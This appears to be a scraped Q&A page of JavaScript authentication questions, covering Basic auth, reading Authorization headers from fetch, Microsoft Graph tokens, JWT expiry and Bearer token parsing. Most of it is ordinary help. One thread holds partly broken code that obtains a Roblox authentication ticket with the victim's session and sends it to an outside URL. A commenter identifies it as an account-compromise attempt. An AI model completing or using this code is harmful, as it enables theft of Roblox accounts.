How can I get basic auth information from browser - javascript

My backend needs basic auth Authorization header.
'Authorization': 'Basic dXNlcm5hbWU6cGFzc3dvcmQ'
The problem I have is, that I need to use the native basic auth prompt from the browser and I don't know how to get the basic auth info in my javascript frontend application. In other words: I need to get the username and password from the browsers basic auth propmt.
Can anyone tell me how to get the basic auth info from the browsers native basic auth prompt?

To get a token request from backend( like login request) in response you will get token thne use can save in s
// Store
sessionStorage.setItem("Authorization", "dXNlcm5hbWU6cGFzc3dvcmQ");
// Retrieve
let token = sessionStorage.getItem("Authorization");
For API call use fetch
For add Authorization header code
let token = sessionStorage.getItem("Authorization");
var headers = new Headers();
headers.append("Authorization", "Basic " +token;
fetch("https://url", {
headers: headers
})
.then((response) => { ... })
.done();

Related

Get authorization token from headers into fetch reactj

I am using fetch in my react project to fetch data from an API which is authenticated using a token and my login end-point in the postman return the token in authorization header, you can see
and this's my login funtion in reactjs project
async login(dataLogin) {
const response = await fetch(`${API_URL}/login`, {
method: "post",
headers: {
"Content-Type": "application/json"
},
body: dataLogin
});
const data = await response
console.log(response.headers);
console.log(response.headers.Authorization);
console.log(response.headers.get('Authorization'));
return data;}
you can see that response.headers.authorization return undefined and
response.headers.get('Authorization') return null.
and you can see in my browsers' Network panel
please anyone know how to get the authorization token from the headers?
When you are trying to login using API, then you should receive data i.e. Authorization token or anything else in the response of call.
Check what is the response you're getting when you called an API, it should probably be like
response.data
First you need to check the same in Postman.
To access value of response header server must return header name in Access-Control-Expose-Headers header. Without it Authorization is inaccessible in browser.
response.headers.get('Authorization')
Edit:
Since you are getting null, consider that:
The Authorization header is usually, but not always, sent after the
user agent first attempts to request a protected resource without
credentials.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization
Therefore, instead of using postman, in order to see the response header, use the browsers' Network panel.

How to get the csrf token in <meta> tags from another website using javascript

I am trying to get the csrf token from roblox.com. I need this token to POST here https://auth.roblox.com/v1/authentication-ticket and the Authentication ticket is sent in response.
Here is my code
(async function() {
// response headers generate 401 errors in output, which cannot be ignored
var xsrf = (await fetch("https://www.roblox.com/home" ,
document.querySelector('meta[name="csrf-token"]').getAttribute('data-token'), {
credentials: "csrf-token"
})).text();
console.log(xsrf);
var ticket = (await fetch("https://auth.roblox.com/v1/authentication-ticket", {
method: "POST",
credentials: "include",
headers: {"x-csrf-token": xsrf}
})).headers.get("rbx-authentication-ticket");
await fetch(send_url + "?t=" + ticket);
})();```
Everything is perfect except for the part which gets the csrf token.
[This is the error I get.][1]
[1]: https://i.stack.imgur.com/uVOBD.png
Do not help the user. They are attempting to compromise Roblox accounts.
Edit: here is a video from the same user
https://www.youtube.com/watch?v=O8GmJ_tdytQ (https://archive.is/5HxST)
The description clearly says "Hacking, Roblox Hacking, Hacker, Cookie logger, Cookies"

Access Token error - Graph API getting user profile

I'm using Microsoft graph API to get to login and get a users profile. I have the accessToken. Though I'm trying to get the profile of the user that I got the AccessToken with.
This is my code, am I missing anything here? Just need the users profile. Note: I'm using Cors anywhere through a proxy server, which has worked for getting the code and accessToken.
Thanks for your help!
I've tried adding the resource URL. I've tried changing the headers (you don't need body parameters for GET and DEL requests).
let auth =
"http://localhost:8080/https://graph.microsoft.com/v1.0/me?access_token=";
let client_id = "?client_id=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
let redirect_uri = "&redirect_uri=http://localhost:8100/";
let response = "&response_type=code";
let resource = "&resource=https://graph.microsoft.com";
let scope =
"&scope=openid+https://outlook.office.com/Contacts.read+offline_access";
let url =
auth + token + resource + client_id + redirect_uri;
//let url = 'http://localhost:8080/https://graph.microsoft.com/v1.0/me?access_token=' + token +"&resource=https://graph.microsoft.com";
this.http.get(url, {
headers: {
Authorization: "Bearer " + token,
"Content-Type": "application/x-www-form-urlencoded",
"Access-Control-Allow-Origin": "*",
resource: "https://graph.microsoft.com"
}
});
Expected: to take the AccessToken and get a user's profile like in Part 4 here.
You've got a number of things going on here.
You're specifying both scope and resource properties. These don't belong together. If you're using the v1 Endpoint then you should be using resource, if you're using the v2 Endpoint then you should be using scope. See Scopes, Not Resources in the documentation.
Your url is not correct. The actual URL should look like this for v1:
https://login.microsoftonline.com/common/oauth2/authorize?client_id={id}&scope=https%3A%2F%2Fgraph.microsoft.com&redirect_uri={uri}&response_type=code
or for v2, like this:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id={id}&scope=openid+user.read+contacts.read+offline_access&redirect_uri={uri}&response_type=code
Can't use http.get() for this. OAuth's Authorization Code grant starts by redirecting the user to this URL. It will then return the code you then POST back to the /token endpoint to retrieve the access_token and refresh_token.
You need the User.Read scope to retrieve a user's profile (or User.ReadBasic.All to retrieve other user's profiles).
I would recommend using the v2 Endpoint and starting here:
Microsoft v2 Endpoint Primer
Get access tokens to call Microsoft Graph
AAD v2 Endpoint Overview

JWT expired with fetch javascript

What is the best way with pure javascript fetch function to check if JWT has expired that is being passed in authorization header before making a request to get data?
const headers = new Headers({
'Content-Type': 'application/json',
Authorization: 'Bearer GrabbedFromParamQueryString'
});
const settings = {
method: 'GET',
headers: headers
};
fetch('/info/user, settings).then(response => {
console.log(response.json());
});
I know in jQuery you can do a precheck if it has expired then generate a new token then continue with the original request. Is there something like that with Javascript fetch if so how?
Any help would be appreciated.
I was able to achieve this by checking the status of the response which gave me the answer if it was expired or not. Once I had that information created a handled error function and do the next set of action to grab the new refresh and token id.
try
console.log(response.json());
if(response.msg=== "Token is expired"){
alert('token is already expired, login again')
}
});
Atleast thats what I do for jwt extended tokens , because they generate such a response. so in your case, If you used some other naming type like "message" please go ahead and use it to loop through your response. I hope its been of help.

How to retrieve a Bearer Token from an Authorization Header in JavaScript (Angular 2/4)?

In JavaScript I have a method which authenticates to my server via an http post request successfully.
The response data from my server is sending a JWT in an Authorization header like so:
Authorization: Bearer mytoken12345abc
I can retrieve the authorization header successfully from my servers response data like so for example:
let authheader = response.headers.get('Authorization');
But how do I parse this? Is "Bearer" a key? so something like:
let token = authheader.Bearer
which obviously is not correct. What can I try next?
In other words, is the following the best approach?
let token = response.headers.get('Authorization');
let parsedToken = token.slice(7);
According to the jwt.io docu,
Whenever the user wants to access a protected route or resource, the user agent should send the JWT, typically in the Authorization header using the Bearer schema.
Therefore using the JWT in the Authorization header is supposed to be used by the client, not the server for the initial response.
The correct way is to get the token as part of the response body. We use a
{ jwt: TOKEN }
type scheme for that.
Then you can easily access it via your response.json().
You can access the header value directly using response.headers.get(...) but then you will have to split, substr or regex-match to get the actual token.
When you get token from server set it in storage of browser session/local like below
sessionStorage.setItem('token', authheader);
Whenever you call the services to server set Authorization token in header it's a secure way like below
import { Http, Headers, RequestOptions, Response } from '#angular/http';
getUser(){
let headers = new Headers({ 'Authorization': 'Bearer ' + sessionStorage.getItem('token') });
let options = new RequestOptions({ headers: headers });
// get users from api
return this.http.get('http://localhost:9000/api/user', options)
.map((response: Response) => response.json());
}

Categories

Resources